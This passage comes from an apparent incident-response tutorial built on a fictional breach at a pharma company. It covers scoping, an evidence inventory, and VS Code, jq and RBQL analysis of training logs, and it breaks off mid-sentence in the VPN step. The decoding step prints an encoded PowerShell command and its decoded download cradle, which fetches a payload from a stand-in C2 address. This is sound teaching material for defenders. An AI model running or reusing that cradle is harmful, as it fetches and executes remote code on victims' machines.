(Panorama) | Firewall flows / NetFlow | A/2 | Read-only. 14-day retention. ⚠ SERVER-RD-02 Nov 6 outbound flows expire 2024-11-20 — retrieve before any other task. |<br>| INT-004 | M365 Message Trace | Email gateway logs | A/2 | 30-day retention. ATP sandbox NOT enabled for .xlsm files — phishing attachment delivered uninspected. |<br>| INT-005 | Azure AD sign-in logs | Cloud authentication | A/2 | 30-day retention. Security Reader role. Covers m.cohen and p.levi sign-in history. |<br>| INT-006 | Sysmon (WS-CFO-01, WS-IT-LEVI) | Endpoint process/network telemetry | A/2 | NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). |<br>| INT-007 | Windows Security event logs (DC01, SERVER-RD-02) | Authentication / authorization | A/2 | DC01: partial export only — full log inaccessible. EID 4662 (DCSync) and EID 4663 (object access) relevant. |<br>| INT-008 | SQL audit — SERVER-RD-02 | Database object-access audit | A/2 | Partial EIDs only; not all object-access events captured. Required for PIR-001 (formula file access). |<br>| INT-009 | Cisco AnyConnect VPN | VPN session logs | A/2 | Available in Splunk. Covers p.levi sessions (AiTM hypothesis). |<br><br>---<br><br>## External / OSINT Sources<br><br>| ID | Source | Type | Admiralty | TLP | Notes |<br>|---|---|---|---|---|---|<br>| EXT-001 | CERT-IL | Government advisory | A/2 | TLP:AMBER | Check for active advisories targeting Israeli pharma sector. |<br>| EXT-002 | VirusTotal | IOC enrichment | C/3 | TLP:WHITE | Immediate priority: 203.0.113.87 hash/IP lookup. Crowdsourced — treat as corroborating only. |<br>| EXT-003 | Shodan | Infrastructure recon | C/3 | TLP:WHITE | 203.0.113.87 ASN / infrastructure / open-port lookup. |<br>| EXT-004 | URLScan.io | Domain analysis | C/3 | TLP:WHITE | Passive DNS and domain history for C2 domains identified in flows. |<br>| EXT-005 | MISP | Community threat intel | B/3 | TLP:AMBER | Pharma sector sharing. Cross-reference IOCs against community feed. |<br><br>---<br><br>## Source Limitations<br><br>| Source | Known Limitation |<br>|---|---|<br>| Palo Alto NGFW (INT-003) | 14-day retention only. SERVER-RD-02 Nov 6 outbound flows expire **2024-11-20** — retrieve immediately, before any other analysis. |<br>| CrowdStrike Falcon (INT-002) | Not deployed on R&amp;D server fleet (12 servers) or DC01. No EDR telemetry for those hosts — Windows Security events and NGFW logs are the only visibility. |<br>| Sysmon (INT-006) | Not deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01). Process creation and network telemetry unavailable for those hosts. |<br>| Windows Security / DC01 (INT-007) | Only partial event log export available; full log is inaccessible. Analytical confidence on DC01 activity is reduced. |<br>| M365 ATP (INT-004) | Sandbox not enabled for .xlsm attachments. The suspected phishing attachment was delivered without detonation — no ATP verdict available. |<br>| SQL audit — SERVER-RD-02 (INT-008) | Partial EIDs only. Not all object-access events are captured. Absence of a log entry does NOT confirm file was not accessed. |<br>| WS-IT-LEVI — all sources | Legal hold issued 2024-11-15 20:45 IST (Adv. Dina Shapiro). No hardware, disk, or memory image permitted. CrowdStrike RTR allowed with full session logging. Re-assess after hold lifted (est. 48–72h). |<br>| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |<br>| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |</pre><p>The template has six sections. Fill each one now:</p><p><strong>Header — fill the four metadata lines at the top:</strong></p><pre>Project: PROJ-2024-001<br>Classification: TLP:AMBER<br>Date scoped: 2024-11-15<br>Scoped by: [your name]<br>Approved by: Noa Ben-David, IR Lead</pre><p><strong>Incident Summary — one paragraph, what triggered this:</strong></p><pre>CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.<br>PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from<br>203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are<br>potentially in scope — US licensing deal ($52M) requires regulatory assessment.</pre><p><strong>In Scope — fill the asset table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCTpI5jIcRRkQ2YqjL8LgQ.png"></figure><p><strong>Out of Scope — fill the exclusion table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X9YT7xlqBXmn_mRAm67QwA.png"></figure><p><strong>PIRs — copy from project.yml, add due dates:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fz8_y2Mq8glncIY5VHdEMA.png"></figure><p><strong>Constraints and Assumptions — fill the four fields:</strong></p><pre>Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.<br>  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.<br>Evidence limitations: Palo Alto firewall logs — 14-day retention.<br>  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.<br>  Sysmon absent from all server-class machines.<br>Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.<br>Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.</pre><p><strong>Definition of Done — check the boxes your team has agreed to:</strong></p><pre>- [ ] All PIRs answered or formally deferred with reasoning<br>- [ ] Timeline covers full attacker dwell period (or gap documented)<br>- [ ] ATT&amp;CK mapping reviewed and finalized<br>- [ ] At least one detection rule per confirmed TTP<br>- [ ] SOC handoff delivered and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data confirmed</pre><p>Full scope.md:</p><pre># Scope Definition<br><br>**Project:** PROJ-2024-001<br>**Classification:** TLP:AMBER<br>**Date scoped:** 2024-11-15<br>**Scoped by:** Yael Mizrahi (CTI Analyst)<br>**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST<br><br>---<br><br>## Incident Summary<br><br>CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on<br>2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound<br>C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of<br>compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator<br>of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,<br>47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,<br>FDA NDA obligations). INCD 72h notification clock assessed as active from time of<br>discovery.<br><br>---<br><br>## In Scope<br><br>| Asset / System | Owner | Justification |<br>|---|---|---|<br>| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |<br>| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |<br>| SERVER-RD-02.lifetechpharma.local | R&amp;D Dept | Formula file storage — PIR-001 primary asset |<br>| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |<br>| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |<br>| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |<br>| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |<br>| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |<br><br>---<br><br>## Out of Scope<br><br>| Asset / System | Reason for Exclusion |<br>|---|---|<br>| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |<br>| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |<br>| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |<br>| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |<br><br>---<br><br>## Priority Intelligence Requirements (PIRs)<br><br>| ID | Question | Priority | Due | Status |<br>|---|---|---|---|---|<br>| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |<br>| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |<br><br>---<br><br>## Constraints and Assumptions<br><br>- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17<br>  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data<br>  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed<br>  exfiltrated — no specific deadline but immediate notification is standard practice.<br>- **Evidence limitations:**<br>  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6<br>    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**<br>  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).<br>  - CrowdStrike NOT deployed on R&amp;D server fleet (12 servers) or DC01.<br>  - DC01 Windows Security log: only partial export available — full log inaccessible.<br>  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.<br>- **Access restrictions:**<br>  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted<br>    with full session logging. Contact Adv. Dina Shapiro before any exception.<br>  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).<br>- **Assumptions:**<br>  - All log timestamps assumed UTC unless explicitly marked IST in source.<br>  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).<br>  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.<br><br>---<br><br>## Stakeholders<br><br>| Name | Role | Involvement |<br>|---|---|---|<br>| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |<br>| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |<br>| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |<br>| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |<br>| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |<br><br>---<br><br>## Definition of Done<br><br>This investigation is complete when:<br><br>- [ ] All three PIRs answered or formally deferred with documented reasoning<br>- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)<br>- [ ] ATT&amp;CK mapping completed and reviewed — all confirmed techniques have a gap type<br>- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap<br>- [ ] SOC handoff document delivered to Ran Katz and acknowledged<br>- [ ] Executive brief approved by Noa Ben-David (IR Lead)<br>- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)<br>- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)<br>- [ ] project.yml status set to `closed` and all PIR statuses updated</pre><h4>2. Save the file and commit</h4><pre>git add 00-scope/scope.md<br>git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"</pre><p><strong>The firewall log retention deadline drives everything.</strong> SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.</p><h3>Step R1: Evidence Inventory — What Exists and What Is Missing</h3><p>The evidence inventory runs before analysis. The rule: <strong>you do not analyze what you have not inventoried.</strong></p><h4>1. Open the source registry</h4><pre>nano 02-sources/source-registry.md</pre><p>The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.</p><h4>2. Fill in what you have</h4><p>For each log source, fill four fields: <strong>Source name</strong>, <strong>System(s) it covers</strong>, <strong>Admiralty reliability rating</strong>, and <strong>any known gap</strong>. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.</p><p>For LifeTech, the completed source registry drives this inventory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mt6DCDNVu6YThxF6WCowcg.png"></figure><p><strong>GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024</strong></p><pre>Duration: 10 days<br>Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with<br>  the day the IT admin received a phishing email.<br>What is missing: process creation (EID 1), network connections (EID 3),<br>  file creation (EID 11) for this host during this entire window.<br>Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI<br>  between Oct 22 and Nov 1. All claims about this period are INFERRED<br>  or HYPOTHESIZED unless supported by alternative sources (VPN logs,<br>  DC authentication logs, firewall flows).<br>Possible cause: Deliberate anti-forensic technique — terminating Sysmon<br>  service is a known evasion method.</pre><p>The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.</p><h4>3. Create a GAP document for every gap</h4><p>Each gap gets its own file. Create it now:</p><pre>nano 01-evidence/GAP-001-ws-it-levi-sysmon.md</pre><p>Paste the filled template:</p><pre># GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01<br>Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)<br>Root cause: Sysmon forwarder stopped. Coincides exactly with delivery<br>  of phishing email to p.levi at 11:23 UTC.<br>What is missing: EID 1 (process creation), EID 3 (network connections),<br>  EID 11 (file creation) for WS-IT-LEVI during this entire window.<br>Impact: Cannot confirm or rule out attacker activity during this period.<br>  All claims covering Oct 22–Nov 1 on this host are INFERRED or<br>  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or<br>  firewall flows.<br>Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair<br>  Defenses). A gap coinciding with a malicious delivery is itself a<br>  finding, not merely an absence.</pre><h4>4. Commit the evidence inventory</h4><pre>git add 01-evidence/ 02-sources/source-registry.md<br>git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"</pre><h3>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</h3><p>The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.</p><h4>Setup — Open the Evidence Folder</h4><pre># One command opens the entire evidence directory as a workspace<br>code ~/investigations/lifetech-2024-11/01-evidence/</pre><p>VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.</p><p><strong>Install four extensions before starting</strong> (Ctrl+Shift+X, search by ID):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LyER2G4y2xTAF1kXY4MX6A.png"></figure><p>Or install all at once from the integrated terminal (Ctrl+`` ):</p><pre>code --install-extension mechatroner.rainbow-csv<br>code --install-extension humao.rest-client<br>code --install-extension ms-vscode.hexeditor<br>code --install-extension esbenp.prettier-vscode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Pp_6YW13coi4GWZcb2a8Wg.png"></figure><p><strong>Key VS Code shortcuts used throughout this step:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2i3dAl46V_xX0cqntP0rCw.png"></figure><p><strong>Download the training evidence:</strong></p><pre>git clone https://github.com/anpa1200/CTI_as_a_Code.git<br>code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/</pre><p>Direct links to open any file in GitHub (also downloadable via curl -L):</p><ul><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-p.levi.csv">m365/message-trace-p.levi.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> IT admin phishing delivery, Oct 15–24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/m365/message-trace-m.cohen.csv">m365/message-trace-m.cohen.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> CFO phishing delivery, Nov 13–15</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/azure-ad/signin-p.levi.json">azure-ad/signin-p.levi.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> IT admin Azure AD sign-ins — Istanbul token replay</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/vpn/anyconnect-2024-10-24.log">vpn/anyconnect-2024-10-24.log</a><br><strong>Format:</strong> ASA syslog<br><strong>Contains:</strong> VPN session from Istanbul, Oct 24</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sysmon/WS-CFO-01-sysmon.jsonl">sysmon/WS-CFO-01-sysmon.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> CFO workstation — PowerShell, LSASS, persistence, BITS</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/crowdstrike/WS-CFO-01-alert-20241115.json">crowdstrike/WS-CFO-01-alert-20241115.json</a><br><strong>Format:</strong> JSON<br><strong>Contains:</strong> CrowdStrike Falcon alert — triggering detection</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/DC01-security.jsonl">windows-security/DC01-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> DC01 security events — DCSync EID 4662</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/windows-security/SERVER-RD-02-security.jsonl">windows-security/SERVER-RD-02-security.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> R&amp;D server — EID 4663 file access, EID 5156 exfil</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/ngfw-flows.csv">palo-alto/ngfw-flows.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> Perimeter firewall flows — 381 MB exfil confirmed</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/palo-alto/dns-queries.csv">palo-alto/dns-queries.csv</a><br><strong>Format:</strong> CSV<br><strong>Contains:</strong> DNS telemetry — C2 beacon pattern</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/sql-audit/SERVER-RD-02-sql-audit.jsonl">sql-audit/SERVER-RD-02-sql-audit.jsonl</a><br><strong>Format:</strong> JSONL<br><strong>Contains:</strong> SQL Server audit — full xp_cmdshell exfil chain</li><li><a href="https://raw.githubusercontent.com/anpa1200/CTI_as_a_Code/main/investigations/lifetech-2024-11/01-evidence/GAP-001-ws-it-levi-sysmon.md">GAP-001-ws-it-levi-sysmon.md</a><br><strong>Format:</strong> Markdown<br><strong>Contains:</strong> Documented 10-day Sysmon gap on IT admin host</li></ul><h4>1. CrowdStrike Alert — JSON in VS Code</h4><p><strong>In VS Code Explorer:</strong> click crowdstrike/WS-CFO-01-alert-20241115.json</p><p>Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.</p><p><strong>Open the Outline panel</strong> (Ctrl+Shift+O):</p><pre>▶ meta<br>▼ resources<br>  ▼ [0]<br>    ▶ device        — hostname, OS, groups<br>    ▼ behaviors<br>      [0] Execution / T1059.001  — OUTLOOK.EXE → powershell.exe<br>      [1] Command and Control / T1071.001<br>      [2] Persistence / T1547.001<br>      [3] Credential Access / T1003.001<br>    ▶ network_accesses<br>    ▶ prevention_policy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHUHyPz18JBNmPFRWS5VHA.png"></figure><p>Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. <strong>Take the memory dump before anything else.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bsA6unjBprE5asg-jKFbug.png"></figure><p><strong>Search</strong> (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.</p><p><strong>Or use jq tool:</strong></p><p><strong>Extract key fields in the integrated terminal</strong> (Ctrl+`` ):</p><pre>jq '.resources[0] | {<br>  detection_id,<br>  severity:  .max_severity_displayname,<br>  host:      .device.hostname,<br>  prevented: .prevention_policy.prevent,<br>  timestamp: .created_timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><p>Output:</p><pre>{<br>  "detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",<br>  "severity":     "Critical",<br>  "host":         "WS-CFO-01",<br>  "prevented":    false,<br>  "timestamp":    "2024-11-15T16:42:47.882Z"<br>}</pre><pre># List all detected behaviors<br>jq '.resources[0].behaviors[] | {<br>  timestamp, tactic, technique_id, display_name,<br>  parent: .parent_image_filename,<br>  image:  .filename,<br>  cmdline: (.cmdline // "" | .[0:80])<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Network connections observed<br>jq '.resources[0].network_accesses[] | {<br>  remote_address, remote_port, direction, timestamp<br>}' crowdstrike/WS-CFO-01-alert-20241115.json</pre><pre># Prevention policy — confirm detect-only mode and note the policy gap<br>jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \<br>  crowdstrike/WS-CFO-01-alert-20241115.json</pre><p><strong>Found IOCs</strong></p><ul><li><strong>Host</strong> WS-CFO-01 — Victim workstation; CrowdStrike detect-only, C2 active</li><li><strong>Hash (SHA256)</strong> de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 — powershell.exe behavior hash from alert</li><li><strong>Hash (MD5)</strong> 7353f60b1739074eb17c5f4dddefe239 — Same behavior; use both for VT lookup</li><li><strong>Process</strong> OUTLOOK.EXE → powershell.exe — Parent–child execution chain in behaviors[0]</li><li><strong>Cmdline</strong> -NonI -W Hidden -Enc JABjAD0A… — Encoded PowerShell payload; decode in Step 2</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 3 connections in network_accesses, port 443</li></ul><h4>2. Decode the PowerShell Payload</h4><p>In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.</p><p><strong>Decode in the integrated terminal</strong> — do not paste encoded malware into online decoders:</p><pre># PowerShell -Enc uses UTF-16LE encoding<br>echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \<br>  | base64 -d</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtvadCAbVwcFaB8UcvEPCQ.png"></figure><pre>$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')</pre><p><strong>In VS Code Explorer:</strong> click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.</p><pre># Cross-check: confirm what the PowerShell dropped<br>jq 'select(.EventID == 11) | {<br>  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note<br>}' sysmon/WS-CFO-01-sysmon.jsonl</pre><p><strong>Or use Base64 extention:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NX8NZYV10DhI03Lgy9E07A.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRToibL_ojf36voYhSco2A.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2 server; payload download source</li><li><strong>URL</strong> https://203.0.113.87/update — C2 payload URL decoded from base64 PowerShell</li><li><strong>File</strong> svchost32.exe — Dropper deposited to %AppData%\Roaming\; forged PE timestamp</li></ul><h4>3. M365 Message Trace — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click m365/message-trace-p.levi.csv</p><p>With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.</p><p><strong>RBQL — SQL queries against the CSV, no Python needed:</strong></p><p>Press F5 (or click RBQL in the status bar) to open the query console:</p><pre>-- Find all emails where authentication failed<br>SELECT a.* WHERE a16 == "fail" ORDER By a1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IF23O_x92zR5XPNGe7gP2A.png"></figure><p>Result pane (right side):</p><pre>2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com<br>  | ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security<br>  | Delivered | 4 | fail | fail | fail</pre><p>Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.</p><pre>SELECT a.* WHERE a17 == '1' &amp;&amp; a16 == 'fail'</pre><p><strong>Save RBQL results:</strong> click <strong>Save to CSV</strong> in the result panel → save as 03-analysis/m365-suspects.csv.</p><p><strong>Switch to </strong><strong>m365/message-trace-m.cohen.csv</strong> (click in Explorer):</p><pre>-- CFO mailbox — find the malicious delivery<br>SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment<br>FROM a<br>WHERE a.DMARC == 'fail' OR a.has_attachment == '1'<br>ORDER BY a.received_time</pre><p>Key finding — CFO phishing email:</p><pre>2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net<br>  | Q4-2024 Licensing Agreement Review — Action Required (URGENT)<br>  | SCL=4 | DMARC=fail | has_attachment=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6mJFnpdRJE2EvoF-IxUFw.png"></figure><p>The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing sender domain; DMARC/DKIM/SPF all fail</li><li><strong>Email</strong> security-noreply@mfa-lifetechpharma.com — IT admin phishing sender (Oct 22)</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Email</strong> contracts@globalcontracts-secure.net — CFO phishing sender (Nov 15)</li><li><strong>Attachment</strong> .xlsm — Macro-enabled Excel; bypassed ATP sandbox (INT-007)</li></ul><h4>4. Azure AD Sign-In Analysis</h4><p><strong>In VS Code Explorer:</strong> click azure-ad/signin-p.levi.json</p><p>Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.</p><p><strong>Search</strong> Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:</p><pre>"city": "Istanbul",<br>"countryOrRegion": "TR",<br>"conditionalAccessStatus": "notApplied",<br>"succeeded": null</pre><p>Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.</p><p><strong>Full structured extraction in the terminal:</strong></p><pre>jq '.[] | {<br>  id,<br>  time: .properties.createdDateTime,<br>  ip:   .properties.ipAddress,<br>  loc:  "\(.properties.location.city), \(.properties.location.countryOrRegion)",<br>  mfa:  .properties.authenticationDetails[0].succeeded,<br>  ca:   .properties.conditionalAccessStatus,<br>  os:   .properties.deviceDetail.operatingSystem<br>}' azure-ad/signin-p.levi.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XkLVEejy4bkZ71px3sihoQ.png"></figure><p><strong>Red flags on </strong><strong>aad-signin-002:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Isdphk9PrvplMM2sWbc8Vg.png"></figure><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker source IP; Istanbul, Turkey (Tor exit node)</li><li><strong>Account</strong> p.levi — Compromised IT admin; token replay, no MFA challenge</li><li><strong>Indicator</strong> Token replay — CA policy bypassed; conditionalAccessStatus: notApplied</li></ul><h4>5. VPN Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click vpn/anyconnect-2024-10-24.log</p><p>VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:</p><ul><li>Search p.levi — highlights every line for this user</li><li>Search Authentication: successful — the auth event</li><li>Search Assigned address — the internal IP assigned to the session</li><li>Search Duration — total session length</li></ul><pre># Full session chain in the terminal:<br>grep "p.levi" vpn/anyconnect-2024-10-24.log \<br>  | grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsNecLZvZT8bDwFYWsb-nQ.png"></figure><pre>Oct 24 00:17:14 ... User &lt;p.levi&gt; IP &lt;185.220.101.47&gt; Authentication: successful<br>Oct 24 00:17:33 ... User &lt;p.levi&gt; ... Assigned address: 10.10.3.22<br>Oct 24 02:29:08 ... User &lt;p.levi&gt; ... Duration: 1h12m34s</pre><p>185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.</p><pre>grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log<br># → NOTE: No MFA challenge issued — session 